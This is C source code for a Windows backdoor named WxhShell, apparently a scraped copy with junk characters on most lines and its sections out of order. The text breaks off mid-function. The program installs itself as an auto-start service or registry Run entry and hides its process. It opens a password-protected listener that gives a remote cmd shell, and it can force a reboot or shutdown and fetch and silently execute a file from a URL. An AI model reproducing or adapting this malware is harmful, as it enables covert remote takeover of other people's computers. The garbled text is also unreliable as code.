    if(Boot(SHUTDOWN)) R6` WN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iOd&B B6  
    else { |B?cVc0  
    closesocket(wsh); g#"zQvON  
    ExitThread(0); C8J[Up  
    } {c6=<Kv  
    break; S5gyr&dm  
    } Y z<3JRw  
  // 获取shell u0JB\)(-/h  
  case 's': { UFXaEl}R   
    CmdShell(wsh); B{QBzx1L9c  
    closesocket(wsh); P{8iJ`rBG  
    ExitThread(0); Y>dF5&(kb  
    break; /K+r? ]kf  
  } rJ`!:f  
  // 退出 p)KheLiZ  
  case 'x': { &y\prip  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gw}%{=D9  
    CloseIt(wsh); Zd3S:),&  
    break; 2Z+Wu3#  
    } xs{3pkTYD  
  // 离开 ]N~2 .h  
  case 'q': { )1]ZtU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2i)^ !c  
    closesocket(wsh); bg!/%[ {M  
    WSACleanup(); W,K;6TZhh  
    exit(1); Ansk,$  
    break; 1$xNUsD2  
        } +Zb;Vn4  
  } (of#(I[m7  
  } qrb[-|ie&  
!]"@kl%  
  // 提示信息 sfpZc7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q)~aiI0  
} b:U$x20n$  
  } t;|@o\  
Xc =Y  
  return; MU($|hwiL  
} B7VH<;Z  
.yMEIUm  
// shell模块句柄 OC_+("N  
int CmdShell(SOCKET sock) zykT*V  
{ hwPw]Ln/  
STARTUPINFO si; %41m~Wh2  
ZeroMemory(&si,sizeof(si)); |J1$= s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vHgi <@u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >Rl"  
PROCESS_INFORMATION ProcessInfo; *l"T$H   
char cmdline[]="cmd"; 1XrO~W\=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e2AX0(  
  return 0; 5Y.)("1f}f  
} 4R#chQ  
?fQ'^agq  
// 自身启动模式 @bi}W`  
int StartFromService(void) RF`.xQ26=  
{ OTvPUkp*  
typedef struct 1D7nkAy  
{ WltQ63u  
  DWORD ExitStatus; xzdf^Ce  
  DWORD PebBaseAddress; GF"hx`zyJ  
  DWORD AffinityMask; ]{sU&GqBLe  
  DWORD BasePriority; P9/q|>F  
  ULONG UniqueProcessId; |'e^QpU5  
  ULONG InheritedFromUniqueProcessId; l#g\X'bK  
}   PROCESS_BASIC_INFORMATION; 8^kGS-+^  
hXcyoZ8  
PROCNTQSIP NtQueryInformationProcess; h8x MI  
H[NSqu.s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a1g,@0s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cb@?}(aFl  
C1V|0h u  
  HANDLE             hProcess; t*=CZE-  
  PROCESS_BASIC_INFORMATION pbi; M  f}~{+  
c_dVWh e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FVMD>=k  
  if(NULL == hInst ) return 0; /{EP*,/*  
E`kG-Q5Dw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '@a}H9>}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aE Bu *`-j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DMAIM|h  
T"(&b~m2b4  
  if (!NtQueryInformationProcess) return 0; 1Rt33\1J0  
Fh)IgzFj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 48J@C vU  
  if(!hProcess) return 0; >>QY'1Eu  
T tfo^ksw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eJrQ\>z]V&  
oro$wFxJO  
  CloseHandle(hProcess); [NF'oRRD9s  
^dI424  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kPKB|kP\  
if(hProcess==NULL) return 0; ;/bewivNJ  
H/"-Z;0{  
HMODULE hMod; 7dN*lks  
char procName[255]; q?H|o(  
unsigned long cbNeeded; !-g{[19\  
cA&9e<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H!@kO]?n  
kc2 PoJ  
  CloseHandle(hProcess); V~UN  
_1!7V3|^  
if(strstr(procName,"services")) return 1; // 以服务启动 3(``#7  
<NHH^M\N  
  return 0; // 注册表启动 [ieI;OG;  
} H(H<z,$}T  
:)8VdWg  
// 主模块 >|J`s~?  
int StartWxhshell(LPSTR lpCmdLine) pXtl 6K%  
{ <c*FCblv  
  SOCKET wsl;  50"pbzW  
BOOL val=TRUE; M "ui0 ac  
  int port=0; O8f?; ]  
  struct sockaddr_in door; .7O*pJ2(H  
adlV!k7RG  
  if(wscfg.ws_autoins) Install(); # '=a=8-$  
BIH-"vTy  
port=atoi(lpCmdLine); O6@j &*jS  
,1hxw<sNR  
if(port<=0) port=wscfg.ws_port; f@6QvkIa  
e*sfPHt  
  WSADATA data; HsxVZ.dS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GmK^}=frj  
+|*IZ:w)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <:_wbVn-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0`Kj 25  
  door.sin_family = AF_INET; )z>|4@,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qo>b*Ku;  
  door.sin_port = htons(port); @<,X0S  
x-XD.qh7Hr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z~GL5]S  
closesocket(wsl); -7SAK1c$  
return 1; 1eA7>$w}[  
} QemyCCP+  
fAF1"4f  
  if(listen(wsl,2) == INVALID_SOCKET) { :{{F *FM;  
closesocket(wsl); 97Lte5c6r  
return 1; rr/B= O7  
} ^0Zf,40  
  Wxhshell(wsl); N1}c9}  
  WSACleanup(); MlcR"gl*  
{vs uPY  
return 0; |U~<3.:m:  
lVd^ ^T*fh  
} 84$nT>c  
w!#tTyk`  
// 以NT服务方式启动 (XVw"m/ye  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Cbc<[}  
{ AJt+p&I[J  
DWORD   status = 0; `K*Q5n  
  DWORD   specificError = 0xfffffff; Qd)q([  
uOKCAqYa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zy?.u.4L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N%kt3vmQ_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zofa-7'Bn  
  serviceStatus.dwWin32ExitCode     = 0; toLV4BtIG  
  serviceStatus.dwServiceSpecificExitCode = 0; #||}R[~P"  
  serviceStatus.dwCheckPoint       = 0; V4hiGO[  
  serviceStatus.dwWaitHint       = 0; Fiv3 {.  
,Z aRy$?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {SOr#{1z*  
  if (hServiceStatusHandle==0) return; X1,I  
GC<l#3+  
status = GetLastError(); XND|h#i8  
  if (status!=NO_ERROR) PvzcEV  
{ 9Q.rMs>qj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S O4u9V  
    serviceStatus.dwCheckPoint       = 0; dW)B1iUo!  
    serviceStatus.dwWaitHint       = 0; 2$9odD<r  
    serviceStatus.dwWin32ExitCode     = status; F7A=GF'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZLc -RM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %}[i'rT>  
    return; AmvEf  
  } }\hVy(\c  
x`U^OLV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d+<G1w&z  
  serviceStatus.dwCheckPoint       = 0; %fc !2E9|  
  serviceStatus.dwWaitHint       = 0; ng[Ar`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8G9s<N}5&u  
} H=@}=aPf  
[I0:=yJ+  
// 处理NT服务事件,比如:启动、停止 C'G/AU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \<.+rqa!  
{ 63^O|y\W8  
switch(fdwControl) >l]Xz*HE  
{ \jh'9\  
case SERVICE_CONTROL_STOP: >/g#lS 5  
  serviceStatus.dwWin32ExitCode = 0; +"x,x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z.c'Hs+;  
  serviceStatus.dwCheckPoint   = 0; nR7d4)  
  serviceStatus.dwWaitHint     = 0; [\'%?BH(^  
  { t;\kR4P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 81](T<  
  } !4]T XH0f  
  return; cq5jPZ}  
case SERVICE_CONTROL_PAUSE: 1G"z<v B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;}7Rjl#  
  break; E08 klC0  
case SERVICE_CONTROL_CONTINUE: >x/z7v?^I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bs13^^hu  
  break; SlgN&{ Bk  
case SERVICE_CONTROL_INTERROGATE: -5 RD)(d  
  break; ccNd'2P  
}; |)nZ^Cc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p s/A yjk  
} 7OC#8,  
jDKO} bQ  
// 标准应用程序主函数 5BWH-2HsB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >5_2_Y$"  
{ "/)#O~  
Diy8gt  
// 获取操作系统版本 2!0c4a^z  
OsIsNt=GetOsVer(); ;ZH3{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yaD~1"GA'O  
,C K{F  
  // 从命令行安装 E d"h16j?z  
  if(strpbrk(lpCmdLine,"iI")) Install(); e 63uLWDT  
4h~iPn'Wl  
  // 下载执行文件 +$u$<z3Q  
if(wscfg.ws_downexe) { g@rb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VkvB<3  
  WinExec(wscfg.ws_filenam,SW_HIDE); E4xj?m^(y=  
} |P[w==AAf  
,eOB(?Ku  
if(!OsIsNt) { C+'/>=>a.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~{d$!`|a  
HideProc(); %Da8{%{`Pc  
StartWxhshell(lpCmdLine); Mx&&0#;r  
} t'VV>;-RO=  
else YHkn2]^#A  
  if(StartFromService()) n\QgOSr<  
  // 以服务方式启动 |h-QP#]/  
  StartServiceCtrlDispatcher(DispatchTable); 0Z~p%C<LW  
else Z?}dq-Vh&  
  // 普通方式启动 'w!Cn>  
  StartWxhshell(lpCmdLine); Qi^Z11  
N8k00*p65  
return 0; SFO({w(  
} 5Ec6),+&  
}0eF~>Df  
&{ay=Mj  
Z9:-rcr  
=========================================== JF # # [O  
rv &<{@AS~  
D6%J\C13`  
XR+Y=R  
TX$r `~  
Gnf~u[T6  
" MJOz.=CbhR  
@<&5J7fb  
#include <stdio.h> #,,d>e  
#include <string.h> QFw  +cy  
#include <windows.h> OTy.VT|  
#include <winsock2.h> cJN7bA {  
#include <winsvc.h> txW{7+,  
#include <urlmon.h> 18~>ZR  
(}a8"]Z  
#pragma comment (lib, "Ws2_32.lib") 9bP^`\K[N  
#pragma comment (lib, "urlmon.lib") q-.,nMUF  
gGr^@=;YC  
#define MAX_USER   100 // 最大客户端连接数 |k+8<\  
#define BUF_SOCK   200 // sock buffer 0TCBQ~"  
#define KEY_BUFF   255 // 输入 buffer {aY%gk?y#>  
plUZ"Tr  
#define REBOOT     0   // 重启 M\sN@+  
#define SHUTDOWN   1   // 关机 ]+(6,ct&.  
t?q@H8  
#define DEF_PORT   5000 // 监听端口 h?rp|uPQ  
'h/CoTk@,  
#define REG_LEN     16   // 注册表键长度 V"*O=h  
#define SVC_LEN     80   // NT服务名长度 G"\`r* O  
I Y2)?"A  
// 从dll定义API /s?r`'j[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %`OJ.:k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o}W%I/s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  `dFq:8v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E5)b  
[pl'|B  
// wxhshell配置信息 PK;*u,V  
struct WSCFG { [<-  
  int ws_port;         // 监听端口 7l'6gg  
  char ws_passstr[REG_LEN]; // 口令 <0H"|:W>I]  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]DOX?qI i  
  char ws_regname[REG_LEN]; // 注册表键名 mX\T D0$d  
  char ws_svcname[REG_LEN]; // 服务名 n1~o1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xgpi-l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9^,Lc1"M>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CsTF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9;_sC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1nQWW9i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \Kl+ 5%L  
%ZNI:Uh  
}; U'8bdsF_  
3{ LP?w:@  
// default Wxhshell configuration fIj|4a+  
struct WSCFG wscfg={DEF_PORT, [ JpKSTg[  
    "xuhuanlingzhe", `&KwtvkdI  
    1, vY%d   
    "Wxhshell", 9{-EJ)  
    "Wxhshell", vWRju*Z&  
            "WxhShell Service", K%"5ImM  
    "Wrsky Windows CmdShell Service", k *Q<3@S  
    "Please Input Your Password: ", YQ39 A_e g  
  1, zN!ZyI$nqP  
  "http://www.wrsky.com/wxhshell.exe", Q,p}:e  
  "Wxhshell.exe" Db)?i?o}t  
    }; Kz>3 ic$I  
gUxP>hB  
// 消息定义模块 ? i( %  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]Bm/eRy"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?mWw@6G,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G]fRk^~  
char *msg_ws_ext="\n\rExit."; 29!q!g|  
char *msg_ws_end="\n\rQuit."; Gs9:6  
char *msg_ws_boot="\n\rReboot..."; BDq%'~/^  
char *msg_ws_poff="\n\rShutdown..."; 9:,V5n=  
char *msg_ws_down="\n\rSave to "; &Rx{.9  
aemc2b*  
char *msg_ws_err="\n\rErr!"; <4_X P.N  
char *msg_ws_ok="\n\rOK!"; >iD )eB  
pV20oSJNt  
char ExeFile[MAX_PATH]; T'4z=Z]w  
int nUser = 0; *8#i$w11M  
HANDLE handles[MAX_USER]; %1O;fQL  
int OsIsNt; p$h4u_  
_h X]%  
SERVICE_STATUS       serviceStatus; ;cPy1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >)spqu]  
!OA]s%u  
// 函数声明 }&n<uUDH  
int Install(void); BB~OqZIP  
int Uninstall(void); D&}3$ 7>  
int DownloadFile(char *sURL, SOCKET wsh); Uc_'(IyO  
int Boot(int flag); Z7_m)@%;kk  
void HideProc(void); JS*m65e  
int GetOsVer(void); q>mE< (-M  
int Wxhshell(SOCKET wsl); 0BH_'ZW  
void TalkWithClient(void *cs); KcK>%%  
int CmdShell(SOCKET sock); VwOW=4`6  
int StartFromService(void); Svc|0Ad&  
int StartWxhshell(LPSTR lpCmdLine); SILQ  
c3:,Ab|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GFel(cx:K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PNaay:a|  
BO~PT,QrF  
// 数据结构和表定义 EX?MA6U  
SERVICE_TABLE_ENTRY DispatchTable[] = ^1Zeb$Nw'  
{ } p&&_?  
{wscfg.ws_svcname, NTServiceMain}, 4W3\P9p=  
{NULL, NULL} .a._NW  
}; ~v]!+`_J  
cfcim.jB  
// 自我安装 _Y8hb!#(  
int Install(void) po$ /7  
{ O [i#9)  
  char svExeFile[MAX_PATH]; JMH8MH*  
  HKEY key; TiYnc3Bz}J  
  strcpy(svExeFile,ExeFile); 7b<je=G6PA  
ai nG6Y<O`  
// 如果是win9x系统,修改注册表设为自启动 \8<BLmf4U  
if(!OsIsNt) { Hm$=h>rY9[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =,Dqqf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WAn~ +=Ax  
  RegCloseKey(key); B>GE 9y5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =0G!f$7^i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _~*,m#uxJ  
  RegCloseKey(key); N 5i+3&  
  return 0; Dh5X/y  
    } H63,bNS s  
  } _T2=J+"-Kp  
} )('%R|$ /  
else { Gm(b/qDDe  
d4nH_?  
// 如果是NT以上系统,安装为系统服务 L ]w/P|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3'^k$;^  
if (schSCManager!=0) 6xZ=^;H  
{ tQ H+)*  
  SC_HANDLE schService = CreateService %*&UJpbA  
  ( o>7ts&rk  
  schSCManager, i K12 pw  
  wscfg.ws_svcname, S(uf(q|{  
  wscfg.ws_svcdisp, 'UMXq~RMe  
  SERVICE_ALL_ACCESS, wg0 \_@3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rMUT_^  
  SERVICE_AUTO_START, xf b]b2  
  SERVICE_ERROR_NORMAL, 4dhvFGlW  
  svExeFile, `67[O4$<  
  NULL, 6IWxPt ~  
  NULL, {%IExPJ  
  NULL, r=6v`)Qr  
  NULL,  w~ [b*$  
  NULL f|R"u W +  
  ); 'A:x/iv}^  
  if (schService!=0) %K>.lh@  
  { [o.B  
  CloseServiceHandle(schService); 3bDQk :L  
  CloseServiceHandle(schSCManager); Fd#m<"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oI.G-ChP  
  strcat(svExeFile,wscfg.ws_svcname); l'\pk<V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :dLAs@z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cIp D~0\  
  RegCloseKey(key); /r-aPJX  
  return 0; `&-Mi[1  
    } I('Un@hS  
  } @DZB9DDR  
  CloseServiceHandle(schSCManager); CT1ja.\;  
} 2AtLyN'.  
} 6%fKuMpK(  
(4\d]*u5-c  
return 1; QK+(g,)_86  
} ed:@C?  
Z7RiPSdxp  
// 自我卸载 m+#iR}*1L  
int Uninstall(void) 1P(|[W1  
{ ,}:G\u*Fu  
  HKEY key; wbe<'/X+  
2 ho>eRX  
if(!OsIsNt) { )=-0M9e.{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kdn'6>\  
  RegDeleteValue(key,wscfg.ws_regname); S6fL>'uQ  
  RegCloseKey(key); ak:ibV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 O67  
  RegDeleteValue(key,wscfg.ws_regname); :_@JA0n  
  RegCloseKey(key); UQ[B?jc  
  return 0; fm^@i;D  
  } z8 [yt282  
} 2KQoy;  
} cZ<A0  
else { 6<'21  
8P"_#M?!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h68]=KyK  
if (schSCManager!=0) -CRQ&#p1]  
{ gq"gUaz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y;)dct  
  if (schService!=0) Dc+'<"  
  { <a[Yk 2  
  if(DeleteService(schService)!=0) { P|HKn,ar  
  CloseServiceHandle(schService); i,|0@Vy  
  CloseServiceHandle(schSCManager); $DZHQH  
  return 0; <ERB.d!  
  } V13BB44  
  CloseServiceHandle(schService); ** +e7k   
  } BbRBT@  
  CloseServiceHandle(schSCManager); '(dz"PL.  
} a&k_=/X&  
} lt_']QqU  
Q7g>4GZC  
return 1; 5bA)j!#)|X  
} ki{3IEOr}  
z.CywME<)t  
// 从指定url下载文件 YG8>czC  
int DownloadFile(char *sURL, SOCKET wsh) sF7^qrVQP9  
{ ]q6;#EUr?  
  HRESULT hr; [|lB5gi4t!  
char seps[]= "/"; doB  
char *token; 4&HXkRs:  
char *file; b9"jtRTdz  
char myURL[MAX_PATH]; >/#KI~}'N  
char myFILE[MAX_PATH]; _ ib"b#  
#BQ.R,  
strcpy(myURL,sURL); $z$u{  
  token=strtok(myURL,seps); 4]/7 )x?R  
  while(token!=NULL) p2N:;lXM  
  { I(S)n+E  
    file=token; Cn_$l>  
  token=strtok(NULL,seps); Iu{kPyx  
  } XTd3|Pm  
I"1;|`L~:  
GetCurrentDirectory(MAX_PATH,myFILE); @&"Pci+-|  
strcat(myFILE, "\\"); jM&r{^(  
strcat(myFILE, file); i[ $0a4  
  send(wsh,myFILE,strlen(myFILE),0); >5wx+n)/)  
send(wsh,"...",3,0); fi+R2p~vs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~h"/Tce  
  if(hr==S_OK) 8`b`QtGf  
return 0; IQ!\w-  
else gaf$uT2  
return 1; @A+RVg*=  
ex<O]kPFE  
} suH&jE$x  
Nk[2nyeO>  
// 系统电源模块 St<mDTi  
int Boot(int flag) .@"q$\  
{ g!i45-n3gt  
  HANDLE hToken; *FfMI  
  TOKEN_PRIVILEGES tkp; up2+ s#  
(Z}>1WRju  
  if(OsIsNt) { nkv(~ej(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @vMA=v7a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kqb0>rYa   
    tkp.PrivilegeCount = 1; O8] 'o*<]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OgcHS?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !6G?zipB  
if(flag==REBOOT) { j&UMjI9[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9=,uq;  
  return 0; zyg:nKQW  
} 2qi'g:qe  
else { /cK%n4l.y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IG?'zppjd6  
  return 0; m'-|{c  
} `funE:>,  
  } kF;5L)o  
  else { hfcIvs/!  
if(flag==REBOOT) { lc6i KFyG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h8 G5GRD  
  return 0; /j"sS2$U  
} ^>?CMcN4*  
else { AkU<g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?%O3Oi Xz  
  return 0; j$da8] !  
} QR">.k4QJ  
} y{9~&r  
[0OJdY4  
return 1; 6r"u$i` o  
} nJ?^?M'F%  
L&-hXGx=7  
// win9x进程隐藏模块 $hR)i  
void HideProc(void) =TP( UJ  
{ D^U: ih  
7B3w\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *[eL~oN.c  
  if ( hKernel != NULL )  ySbqnw'  
  { W2;N<[wa<u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f&4,?E;6%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lz DI0a.  
    FreeLibrary(hKernel); L5IbExjV  
  } U Q@7n1  
-xg2q V\c  
return; uE=$p)  
} m6 s7F/  
]v G{kAnH  
// 获取操作系统版本 CnN9!~]"  
int GetOsVer(void) qP!P +'B  
{ S<nq8Ebmw  
  OSVERSIONINFO winfo; mqfO4"lt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c~ <1':  
  GetVersionEx(&winfo); $[@0^IJq=K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hIJ)MZU|  
  return 1; ~^)^q8  
  else `A/j1UWJ  
  return 0; wzjU,Mw e  
} /cFzotr"9  
Fk=}iB#(  
// 客户端句柄模块 Hqz?E@bc@  
int Wxhshell(SOCKET wsl) Wk4.%tpeO7  
{ G+*cpn  
  SOCKET wsh; f DgD@YCD  
  struct sockaddr_in client; %m{U& -(l@  
  DWORD myID; kJs^ z  
i;PL\Er:tX  
  while(nUser<MAX_USER) I/x iT  
{ iF+RnWX\  
  int nSize=sizeof(client); p3^jGj@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >i,iOx|E-  
  if(wsh==INVALID_SOCKET) return 1; %ICglF R  
)<4_:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \nrP$  
if(handles[nUser]==0) Q}A=jew  
  closesocket(wsh); t@?u  
else SKY*.IW/Z  
  nUser++; 9=dkx^q  
  } FZpKFsPx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pL1s@KR  
Lp:6 ;  
  return 0; >n.z)ZJ  
} m:Go-tk  
>x:EJV   
// 关闭 socket fvo<(c#Y#  
void CloseIt(SOCKET wsh) gd@p|PsS^  
{ |`yZIY_  
closesocket(wsh); +$z]w(lbT  
nUser--; t@bt6J .{  
ExitThread(0); `BZ&~vJ_  
} |I[7,`C~  
'3l$al:H^  
// 客户端请求句柄 $<?X7n^  
void TalkWithClient(void *cs) @=]8^?$t 0  
{ KT*:F(4`  
X}4}&  
  SOCKET wsh=(SOCKET)cs; nw'-`*'rj  
  char pwd[SVC_LEN]; CidM(  
  char cmd[KEY_BUFF]; eo#^L}  
char chr[1]; #$'"cfRxc  
int i,j; q<=: >?  
Xwu.AVsr  
  while (nUser < MAX_USER) { NSLVD[yT  
iT )WR90  
if(wscfg.ws_passstr) { q(z7~:+qNr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eTE2J~\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P]<= ! F  
  //ZeroMemory(pwd,KEY_BUFF); Sg*0[a3z  
      i=0; 0??Yr  
  while(i<SVC_LEN) { [!*xO?yCJ  
EH9Hpo  
  // 设置超时 ,qFA\cO*  
  fd_set FdRead; ~0tdfK0c  
  struct timeval TimeOut; yDd[e]zS`  
  FD_ZERO(&FdRead); 8LM #WIm?  
  FD_SET(wsh,&FdRead); !)OB@F%U  
  TimeOut.tv_sec=8; /nB'kg[h\  
  TimeOut.tv_usec=0; uOk%AL>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mn^zYW|(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f$xhb3Qn  
+/'<z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )q?$p9  
  pwd=chr[0]; z)L}ECZh9  
  if(chr[0]==0xd || chr[0]==0xa) { -]"T^w ib  
  pwd=0; 2 g`[u|  
  break; ~5#)N{GbY  
  } ?s{C//  
  i++; X}JWf<=q  
    } 9k2,3It  
KXBL eR&^  
  // 如果是非法用户,关闭 socket R ZcH+?7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bcJ@-i0V  
} M23& <}Q8  
nX x=1*X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iK}v`xq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H*U`  
z& 'f/w8  
while(1) { f~gSJ< t4  
Z$2L~j"=!  
  ZeroMemory(cmd,KEY_BUFF); ]if;A)'  
{/UhUG  
      // 自动支持客户端 telnet标准   I"Q<n[g0'  
  j=0; ua& @GXvZ  
  while(j<KEY_BUFF) { U}P,EP%p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~w.2 -D  
  cmd[j]=chr[0]; pzEABA   
  if(chr[0]==0xa || chr[0]==0xd) { ,nE&Me&#J  
  cmd[j]=0; ckwF|:e 7*  
  break; gL]'B!dGd  
  } U )Zt-og  
  j++; ]tVl{" .{  
    } 5Hle-FDn9  
5RhF+p4  
  // 下载文件 Ol cP(  
  if(strstr(cmd,"http://")) { 4]BJ0+|mT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  nP_=GI  
  if(DownloadFile(cmd,wsh)) x0x $  9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kEAhTh&g*  
  else zA{8C];~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #S?c ;3-  
  } 46ChMTt  
  else { KM5 JZZP  
